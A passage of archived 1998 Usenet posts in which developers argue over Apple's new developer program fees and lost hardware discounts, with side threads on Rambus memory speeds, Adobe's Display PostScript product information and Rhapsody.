Why shouldn't people play with it in these kinds of ways if they are
willing to take the risk? If 100,000 enthusiasts hammer it, bugs will show
up pretty fast. I don't call that "support", I call it "free beta
testing".
After all, Microsoft gets customers to beta test their new OS releases in
a big way, and doesn't charge them $500+ for the privilege.
>On 04/08/98, George Graves wrote:
> Few, if any, of the people pissing and moaning about loosing
>access to the seeding program actually NEED access to it in many
>cases.
Few, if any, of the people pissing and moaning about the Pentium divide
error actually were effected by it but look what harm it did to Intel.
Perception is big and Apple doesn't have a clue in this area (for a while
I thought interim CEO for life Jobs had learned something but I'm not so
sure now).
In article <6ggvub$oop$5@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>Apple acting as a charity subsidising people's hobbies is what's insane.
>Nor should they be offering a program wide open to abuse by people signing up
>as developers just to get a discount on hardware.
I don't think Apple is subsidising developers. Without developers, no one
would buy Macs (they tried that experiment in 1984). Anyway what's wrong
with having a sneaky back door way of cutting dealers out of the loop?
What has a dealer ever done for you? You don't think Apple loses on
hardware sold at developer prices?
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at Dept EECS, University of Michigan
http://www.eecs.umich.edu/~philipm/ mailto:philipm@NO-SPAMeecs.umich.edu
From: philipm@NO-SPAMeecs.umich.edu (Philip Machanick)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Wed, 08 Apr 1998 21:03:32 -0400
Organization: Department of EE and Computer Science, The University of Michigan
Message-ID: <philipm-0804982103320001@pm1-23.eecs.umich.edu>
References: <6fbvpe$l63@newsb.netnews.att.com> <tim-2503982101370001@jump-k56flex-0183.jumpnet.com> <6fib8g$lun$1@vixen.cso.uiuc.edu> <handleym-3003981345140001@handma.apple.com> <6g9dgd$o66@mozo.cc.purdue.edu> <slrn6igkh3.qlh.sal@panix3.panix.com>
In article <slrn6igkh3.qlh.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>On 6 Apr 1998 02:09:17 GMT, Your Name <pomart@cartoon.ecn.purdue.edu> wrote:
>>handleym@apple.com (Maynard Handley) writes:
>>
>>Actually IBM and Intel have just developed
>>good memory that runs at 100Mhz well.
>>
>Isn't there a type of RamBus memory that runs at 200mhz and greater?
Direct Rambus due next year can ship 2 bytes every 1.25ns -- that's
800MHz. Current Rambus to my knowledge ships only 1 byte at a time at
around 533Mbyte/s which translates to 533MHz (or more depending on whether
Rambus uses M in the usual sense of 1024x1024 -- in some of their
literature, I've seen them talk of G as billion, hence the doubt).
Compare this with a 64-bit bus, or 128-bit for next year. SDRAM at 66MHz
is faster than a 533MHz Rambus because the startup cost is lower, even if
the Rambus transfer rate is theoretically faster. Next year's Direct
Rambus is theoretically in the same ballpark as a 100MHz 128-but bus with
SDRAM, but includes support for pipelining multiple independent
transactions, which could be a win in some cases.
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at Dept EECS, University of Michigan
http://www.eecs.umich.edu/~philipm/ mailto:philipm@NO-SPAMeecs.umich.edu
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 98 17:53:58 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1516A43-1BD20@207.217.155.14>
References: <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.mac.oop.powerplant,
nntp://news.earthlink.net/comp.sys.mac.programmer.codewarrior,
nntp://news.earthlink.net/comp.sys.next.advocacy,
nntp://news.earthlink.net/comp.sys.next.programmer
>Another interesting information: the FAQ on developer.apple.com reads
>that Apple has been limiting access to the Associate Programs in the
>last six months... In the US only I guess, as I renewed my membership
>two weeks ago and have not heard a word from EDR indicating that I might
>not have what I was paying for.
>
Not in the US. That is total CYA BS. I know one US developer (not me) who
is damned thankful he got into the program and bought the G3s he needed
when he bought them.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Date: Wed, 08 Apr 1998 21:09:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0804982109560001@elk62.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com>
In article <MPG.f95d7e4b8fb1622989890@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <joe.ragosta-0804981906460001@elk68.dol.net>,
> joe.ragosta@dol.net says...
> > > Unfortunately, when details do come out, you're just as screwed as
ever. . .
> >
> > Please explain how you're so badly screwed.
> >
> > The SDKs are still downloadable for free.
> >
> > The monthly mailing is available for $50 less than the old Associate
membership.
> >
> > The lowest paid developer status is $500 instead of $250. If you really
> > need to get the beta OS versions, your cost went up by $250. But everyone
> > else seems to be better off.
> >
> Including Microsoft, who looks better and better every day.
Anyone notice that people like Mr. brown here, who would apparently never
go near a Mac from reading his posts, are the ones complaining while
developers like mmalc are supporting the change?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Eric A. Dubiel" <eadubie@rs6000.cmp.ilstu.edu>
Newsgroups: comp.lang.postscript,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Adobe dps-info Was:Re: End of Display PostScript?
Date: Wed, 08 Apr 1998 21:10:12 -0600
Organization: Illinois State University
Message-ID: <352C3C0F.5CB6E295@rs6000.cmp.ilstu.edu>
References: <ldo-2403981003100001@a24.hn1.wave.co.nz> <3519F50E.2E4C51B@trilithon.com> <1998Mar30.113319@lsl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
FYI...hope this helps a bit. -Eric
Date: Sun, 5 Apr 1998 15:31:42 -0700 (PDT)
From: auto-reply daemon for dps-info <nobody@Adobe.COM>
To: eadubie@rs6000.cmp.ilstu.edu
Subject: your mail to <dps-info>
Precedence: bulk
Adobe Systems Incorporated
1585 Charleston Road
P.O. Box 7900
Mountain View,
CA 94039-7900
Phone 415-961-4400 Fax 415-961-3769
Display PostScript(TM) Product Information
==========================================
This message describes the features and benefits of the Display PostScript
system and tells you where to purchase Display PostScript software and
products. Among its other capabilities, the Display PostScript system
enables AnswerBook(TM) from Sun Microsystems(R) to run on PCs and X
terminals.
Overview of the Display PostScript system
-----------------------------------------
The Display PostScript system is an advanced graphics library that can be
used by applications running the X Window System environment. Applications
use X to provide the basic windowing system and use the Display PostScript
system to provide high-quality device-independent text, graphics and
images in each window. Refer to the World Wide Web page at
http://www.adobe.com for a technical description of the Display PostScript
system (follow the links under Products to find Display PostScript).
The Display PostScript system comes in two implementations: the Display
PostScript extension to X and Display PostScript NX software. Many
workstation manufacturers ship the Display PostScript extension to X with
their X servers. X terminal manufacturers, PC X terminals, and
applications can bundle Display PostScript NX software, a client
application that supplies PostScript capability. Applications can
automatically use the Display PostScript extension, when it is present, or
else launch Display PostScript NX software.
Obtaining the Display PostScript system
---------------------------------------
For a list of the manufacturers who ship the Display PostScript System,
refer to the table, at the end of this message. The Display PostScript NX
product, which makes it possible to use Sun AnswerBook from PCs and X
terminals, is available for IBM, Sun, SGI and HP. Display PostScript NX
includes the following items:
o Adobe ShowPS - a PostScript language viewing application
o Acrobat Reader - a Portable Document Format (PDF) viewing application
(Sun only)
o 65 Type 1 Fonts from the Adobe Type Library
o Display PostScript NX software
>o Display PostScript Software Development Kit, Version 1.3
Display PostScript NX is available through two distributors:
o US Distributor: Bluestone, (609) 727-4600, blustone!info@uunet.uu.net
o European Distributor: Protek, (44) 1628-75959, info@protek.co.uk
These distributors can also supply the Visual Action Toolset, a set of
widgets and utilities that make it easy for application developers to
create sophisticated graphical applications using the Display
PostScript>system. Display PostScript NX software can be purchased as part
of the
Visual Action Toolset, or separately.
You may already have the Display PostScript system
--------------------------------------------------
To find out if your X Window System already has the Display PostScript
extension, type the following command at the UNIX prompt:
xdpyinfo
If Adobe-DPS-Extension or DPS-Extension is listed under number
of>extensions, you already have the Display PostScript system. If you are
using NEXTSTEP, the Display PostScript system is already present on your
machine.
Onward to a colorful, graphical,type-filled future!
----------------------------------------------------
Use the Display PostScript system and take your application to the next
level of graphical sophistication. Explore the collection of interesting
fonts in the Display PostScript NX product. View all the colorful,
graphical, type-filled PDF and PostScript documents, and start
distributing your own.
We hope you enjoy the variety of new Display PostScript applications and
technology now available.
Display PostScript Product Distribution
=======================================
Company DPS Related Product Operating Hardware
System
-------------------------------------------------------------------------------
Digital Equipment DPS extension to X Ultrix MIPS, VAX, AXP
Corporation machines
IBM DPS extension to X AIX RISC System/6000
Network Computing DPS extension to X, X terminals
Devices (NCD) Adobe ShowPS
NEXT Computer Inc. DPS System Mach Intel, Motorola
SunSoft DPS extension to X Solaris 2.3 SPARC machines
SMCC DPS extension to X X terminals
Silicon Graphics Inc. DPS extension to X IRIX MIPS machines
Tektronix DPS NX software, X terminals
Adobe ShowPS,
Acrobat Reader
Visual Edge Software Visual Action Toolset: All DPS Platforms
(514) 332-6430 a DPS based, Motif-
compliant widget set,
and the DPS SDK
US Distributor: DPS NX software, SunOS 4.1.3, For bundling with X
Bluestone Adobe ShowPS, Solaris 2.3, terminals,
(609) 727-4600 Acrobat Reader, HP-UX 9.01, PC X terminals,
blustone!info@ (Sun only), IRIX 5.2, 5.3, and applications
uunet.uu.net 65 Fonts, Visual AIX 4.1.1
Action Toolset
European Distributor: DPS NX software, SunOS 4.1.3, For bundling with X
Protek Adobe ShowPS, Solaris 2.3, terminals,
(44) 1628-75959 Acrobat Reader, HP-UX 9.01, PC X terminals,
info@protek.co.uk (Sun only), IRIX 5.2, 5.3, and applications
65 Fonts, Visual AIX 4.1.1
Action Toolset
Your local computer Programming the All DPS platforms
bookstore, and Display PostScript
In the DPS SDK System with X
ISBN 0-201-62203-3
Copyright (C) 1993 Adobe Systems Incorporated. 17Jan96
--
Eric A. Dubiel; http://www.ilstu.edu/~eadubie
"Technojihad!...Hear the nightmare - in the 'Square...
Technojihad!...Don't expect them - to play fair...
Technojihad!...Hear the angry - voice of God...
Shoot 'em once...Now we unleash - Technojihad..."
- http://www.bitstream.net/psykosonik/JIHAD.WAV
VIEWS EXPRESSED ARE ENTIRELY MY OWN
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 21:41:28 -0500
Organization: University of Chicago -- BSDIS/CRT
Message-ID: <j-jahnke-0804982141280001@192.168.1.3>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu>
In article <rmcassid-0804981509160001@dante.eng.uci.edu>, rmcassid@uci.edu
wrote:
> In article <steve-0804981442590001@oranoco.discoverysoft.com>,
> steve@discoverysoft.com (Steven Fisher) wrote:
>
> >In article <B1511019-15903@206.165.43.154>, "Lawson English"
> ><english@primenet.com> wrote:
> >
> >>Trying to make developer *support* a profit center is an INSANE idea.
> >>Hopefully, either Jobs will change this, or the more rational stockholders
> >>will hear about it in time to vote against him because this one action, *BY
> >>ITSELF*, will destroy Apple.
> >
> >That's the best summary I've seen yet. The real worry is that it will do
> >so *SLOWLY*... consumers probably won't see the effects this has on the
> >development community for months or a year yet. Suddenly new
> >shareware/freeware will start getting a lot more scarce.
>
> Of course the counter-argument is that Apple has never been able to really
> adequately support it's developers due to the low cost of the program.
> While I'm sure Adobe gets a lot of attention and I get a lot for what I
> pay, what about the guys in the middle - like Rich Siegal, perhaps. Or
> Aladdin Sys. The devlopers in the middle could probably handle much more
> in the way of devloper support and can quite likely afford a modest
> increase in costs.
Now this is a bunch of bull. Many of us were Associates for one reason and
one reason only, access to cheaper equipment. Apple does not lose money by
selling me my one machine a year at a low price. And I can have high end
hardware at a reduced cost so that I can continue to develop high quality
Apple Software. I didn't call them to ask them to help me with MacOS
problems we have newsgroups for that, and I participate here with others
to help people along. 250 bucks is cheap to send me 20 CD's a year and
give me early access to new Apple Technology.
What they have done is doubled the price given me a feature I don't and
probably won't use, taken away the one I do use and didn't even give me a
choice to get my money back. I would agree with everyone here who supports
Apple on this decision if they had said. OK, all old Associates it is
business as usual. Next year however, the price is going to double and you
are going to get less.
How much money is Apple saving by keeping me from buying a cheap machine
this year?
Jer,
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 22:46:52 -0500
Organization: University of Chicago -- BSDIS/CRT
Message-ID: <j-jahnke-0804982247240001@192.168.1.3>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <6ggaju$rts$4@news01.deltanet.com>
In article <6ggaju$rts$4@news01.deltanet.com>, scott@eviews.com (Scott
Ellsworth) wrote:
> In article <j-jahnke-0704982342480001@192.168.1.3>,
j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
> >In article <trumbull-0704981900290001@net44-223.student.yale.edu>,
> >trumbull@cs.yale.edu (Ben Trumbull) wrote:
> >
> >> I'm not about to stand up and say these changes are a great idea on
> >> Apple's part, but you do realize, you can buy *just* the tech mailing
> >> (including develop) for $199 ?
> >
> >Which is what we used to do, but then realized you could not get seeded
> >unless you were an associate.
>
> I, as well.
>
> Hmmm. Hell may have just frozen over - I find myself agreeding
> with both of your last two posts.
Boy, you sure know how to hold a grudge...
Jer,
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 12:01:20 +0200
Organization: Guest of OLEANE
Message-ID: <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com> <19980409224411642783@dialup-202.def.oleane.com>
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Jacques Foucry <Le_Jax@iName.com> wrote:
> > Charles Swiger <chuck-nospam@blacksmith.com> wrote (écrivait) :
> > If you're going to WWDC, you should have a chance to play around with
> > Rhapsody and your product.
>
> You know what ?
> From Europe, WWDC is not a little and inexpensive trip... :-(((
> And Benoit come from France...
Thanks Jacques ;-)
I'll add another little thing the guys from the States tend to forget:
- We (non-english speaking third-world countries) don't have markets as
large as you (World Company) have, so we don't have as many clients and
we run on a tight budget.
- We, however, pay hardware at prices you couldn't imagine. The French
developers payed their machines at a higher price than a standard
American customer even with the hardware discount.
- A 64K leased line costs $1,000 a month. And local phone calls to your
ISP is'nt free.
Costs are higher, the market is smaller, we don't need Apple stabbing us
in the back as a final touch.
I've heard that at least one large French firm has dropped Apple
Developer Program. Reason is at $250 they had all the material they
needed (seeds and *all* SDKs) and buying hardware cheaper helped the
decision to support the platform (the 250 were payed back with the
hardware discount). Now I'm afraid their software will follow loosely
the Mac Platform, if at all. A lot of people used the HardWare discount
as justification to support the platform, at $3,500 a pop it's going
down the drain.
How's that for a smart move from Apple. A platform also needs support
from a lot of developers whose work doesn't always appear in the bright
lights (ie Adobe, Quark...). If specialized hardware vendors think
development for the Mac platform is now too expensive the platform will
loose more ground than ever. Very clever move.
Apple is not the center of the computer market, the US aren't the center
of the world. But Job's is in the middle of nowhere and pushing hard to
stay there.
Benoît Leraillez
Removed the following groups :
comp.sys.mac.oop.powerplant
comp.sys.mac.programmer.codewarrior
From: andrew_abernathy@omnigroup.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 10:08:19 GMT
Organization: Omni Development, Inc.
Message-ID: <6gkr2j$r9h$1@gaea.omnigroup.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net> <ericb-0904981631110001@132.236.171.104>
ericb@pobox.com (Eric Bennett) wrote:
> I don't see any developers defending Apple's decisions. The best
> "support" I've seen is some Mac news sites parroting Apple's press
> release.
Well, now you have. Apple just saved me $50 a year, because the $200
mailing gives me what I want. (I'm currently a member of the old $250
program, but I don't need software seeds, so the mailing is perfect for
me.) My company wants a higher level, but no problem - a $500 developer
program is _easily_ justifiable to anyone doing commercial development.
(Note that I said "justifiable" - we'd all prefer that everything were
free, but Apple is giving excellent value for that money, and I'm all
for them actually making money and therefore surviving so that I can
use and develop on The Superior Platform.)
---
andrew_abernathy@omnigroup.com - NeXTmail & MIME ok
Date: Fri, 10 Apr 1998 06:21:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-1004980621290001@elk81.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <joe.ragosta-0904980642200001@elk33.dol.net> <6gitpj$csn$1@interport.net> <joe.ragosta-0904980134360001@wil68.dol.net> <Er6tuI.Mu8@AWT.NL>
In article <Er6tuI.Mu8@AWT.NL>, G.C.Th.Wierda@AWT.nl (Gerben Wierda) wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >> Apple should be ACTIVELY ENCOURAGING these people. Some of them might
> >> grow up to be software developers . . . or management . . . or sysadmins .
> >> . . or end users . . . or, or, or . . .
> >
> >Sure. They should encourage everyone.
> >
> >But how do you allocate limited resources? Apple has decided that spending
> >the money on TV ads or magazine ads is a better place to put scarce
> >resources than subsidizing hobbyists.
>
> Which is a good point, but do we know the numbers? Is the cost of providing
> hardware discounts and support comparable to the cost of running TV ads? This
> comparison only makes sense if you know the relative cost. Price/performance
> is the issue, also in marketing.
I don't know--but neither do you.
Apple is responsible for allocating their resources. Not you or anyone else.
>
> >And in case you've missed it, it is now possible for hobbyists to get
> >SDK's free. How much cheaper do they need to be?
>
> SDK's and Mac API development don't interest me. I want to know what will
> happen to the cost of developing for Rhapsody.
>
How about zero dollars? Download MkLinux and GNUStep.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: xhsoft@injep.fr (Xavier Humbert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 12:34:02 +0200
Organization: Maquis Usenet Ouest
Message-ID: <1d78ren.1dbj70n1j99pebN@hobbit1.injep.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com>
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Charles Swiger <chuck-nospam@blacksmith.com> wrote:
> the increase in costs represents roughly a day's pay
That's not the point. 100% is 100%.
BTW, I'm not a developer anymore. Now I'm employed as Network Engineer.
And it is MY decision for my company to buy $50 000 new Macintoshes, or
new Compaqs.
And my boss may find that $500 is too expensive just to evaluate new
solutions. QED.
Xav
--
Xavier HUMBERT Laboratoire Informatique INJEP
Office: labo-info/AT/injep.fr Home: humbert/AT/injep.fr
Date: Fri, 10 Apr 1998 06:49:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Message-ID: <joe.ragosta-1004980649300001@elk81.dol.net>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu> <6gj85u$e04$1@ha2.rdc1.sdca.home.com> <6gjr16$rfe$1@halcyon.com> <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com> <rmcassid-0904982359270001@dante.eng.uci.edu>
In article <rmcassid-0904982359270001@dante.eng.uci.edu>, rmcassid@uci.edu
wrote:
> In article <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
> >In <6gjr16$rfe$1@halcyon.com> Tim Smith wrote:
> >> Rex Riley <rr6013@yahoo.com> wrote:
> >> >Yeah, sucks doesn't it that if you are a Windows user you have to go
> >> >through all that extra backup procedure. For hapless Stanford BSchool
> >>
> >> It's the exact same procedure you use on a Mac or on Unix.
>
> >Then why does the article "single-out" that it was Windows-specific.
It left
> >the impression that maybe a "filesystem" peculiarity of Windows might have
> >tricked their back-up software, unbeknownst to them.
>
> Maybe one reporter decided to stick it to MS a bit. The rest of the
> industry has to take it's fair share of rotten journalism, maybe yesterday
> was 'shit on Windows' day at the Merc...
>
> I can't say that I like poor journalism, but I really do sometimes. How's
> that for a quote...
>
Well, even if he were just sticking it to MS, the statement was very
specific; "Mac users weren't affected". There must have been a real
difference.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Enthusiastic about Apple (was Re: accuracy of Stepwise Krishna article)
Date: 7 Apr 1998 09:12:04 GMT
Organization: P & L Systems
Message-ID: <6gcql4$fhe$8@ironhorse.plsys.co.uk>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6eq7kp$pl2@mochi.lava.net>
<slrn6h2ggl.gdm.marko@ns1.vrx.net> <6erm0k$p1f$2@ironhorse.plsys.co.uk>
<6erpdg$96o$1@news.xmission.com> <6escen$to2$1@nnrp1.dejanews.com>
<6etffv$g96$9@ns3.vrx.net> <6ev46i$qkn$1@nnrp1.dejanews.com>
<6eulns$fh3$1@ns3.vrx.net> <quinlan-2003982045060001@pm22s6.intergate.bc.ca>
<6f5q41$p1f$9@ironhorse.plsys.co.uk> <6f6ete$mhp$1@nnrp1.dejanews.com>
<6f71cv$p1f$12@ironhorse.plsys.co.uk> <6fc2nm$46d$1@nnrp1.dejanews.com>
<6fe4ml$3nm$3@anvil.BLaCKSMITH.com> <6fel82$c08$1@nnrp1.dejanews.com>
<rmcassid-2603982220490001@dialin9018.slip.uci.edu> <6gb2hv$kc8$3@anvil.BLaCKSMITH.com>
<6gbjit$ctp$1@nnrp1.dejanews.com>
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Cc: spagiola@usa.net
In <6gbjit$ctp$1@nnrp1.dejanews.com> spagiola@usa.net wrote:
> Well, I'm glad to hear that you now think otherwise. I shared your
pessimism,
> for many of the same reasons (8 years of NeXTSTEP experience gives one
plenty
> of confidence in some people's technical ability but very little in their
> marketing/management ability). I've yet to hear personally anything that
would
> make me think otherwise, partly because of Apple's current "we could tell
you
> but then we'd have to kill you" policy, but it certainly bodes well if
people
> more in the know like you now feel more comfortable. I'd still like a clear
> statement from Apple as to their intentions, though.
>
I think we'll all get a good picture at WWDC.
Meanwhile, as Chuck also said, I very much get the impression that Apple is
setting itself on a track that will bring YellowBox (the main technology most
of us here are interested in) to the masses. This is good news for Rhapsody
developers.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The never ending X debate (WAS: Re: NeXT style scroll bars)
Date: 7 Apr 1998 09:21:36 GMT
Organization: P & L Systems
Message-ID: <6gcr70$fhe$9@ironhorse.plsys.co.uk>
References: <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net>
<slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net>
<slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net>
<slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net>
<slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com>
<3521DC87.5515B046@nstar.net> <slrn6i6e1v.j6l.sal@panix3.panix.com>
<3523444C.1418465B@nstar.net> <slrn6i7lum.kjl.sal@panix3.panix.com>
<3523D9A1.80009B7C@nstar.net> <slrn6i81gr.kjl.sal@panix3.panix.com>
<35241B5B.246B7869@nstar.net> <6g5lo2$276$1@nnrp1.dejanews.com>
<35293852.1B46@nstar.net>
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Cc: mjpeck@nstar.net
In <35293852.1B46@nstar.net> Michael Peck wrote:
> malcolm@plsys.co.uk wrote:
> > In article <35241B5B.246B7869@nstar.net>,
> > "Michael J. Peck" <mjpeck@nstar.net> wrote:
> > > > You might have used it for a while, but it is clear that you
> > > > do not know enough about it to contrast and compare it to X.
> > >
> > > That's somewhat true, so it's a good thing I don't make posts to this
> > > newsgroup attempting to do that very thing. Like I said, I'm no
> > > PostScript programmer, and I defy you to find the posting in which I
> > > critique DPS as a display layer...
> > >
> > Sorry...
>
> [...]
>
> Oh, I see. Search for all 'DPS' where author='Michael Peck'. Dump
> results in newsgroup. Clever boy.
>
No, not at all; there were many articles. In all of them, to some extent or
other, implicitly or explicitly, you critique DPS as a display layer. There
were dozens more, some of which didn't include a critique, and many of which
I didn't read.
You issued a challenge to find articles in which you critique DPS as a
display layer; I did.
Best wishes,
mmalc.
From: xhsoft@injep.fr (Xavier Humbert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 9 Apr 1998 14:25:44 +0200
Organization: Maquis Usenet Ouest
Message-ID: <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu>
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<rmcassid@uci.edu> wrote:
> and can quite likely afford a modest
> increase in costs.
100% increase is modest for you ?
Xav
--
Xavier HUMBERT Laboratoire Informatique INJEP
Office: labo-info/AT/injep.fr Home: humbert/AT/injep.fr
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 7 Apr 1998 09:51:10 GMT
Organization: P & L Systems
Message-ID: <6gcsue$fhe$10@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com>
<6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com>
<6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com>
<6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com>
<6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com>
<slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com>
<slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com>
<trev-0504982024220001@nas-sa-p5.usc.net> <see-below-0604982338260001@209.24.240.118>
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In <see-below-0604982338260001@209.24.240.118> Matthew Vaughan wrote:
> In article <trev-0504982024220001@nas-sa-p5.usc.net>, trev@sc.edu (Trevor
> Zion Bauknight) wrote:
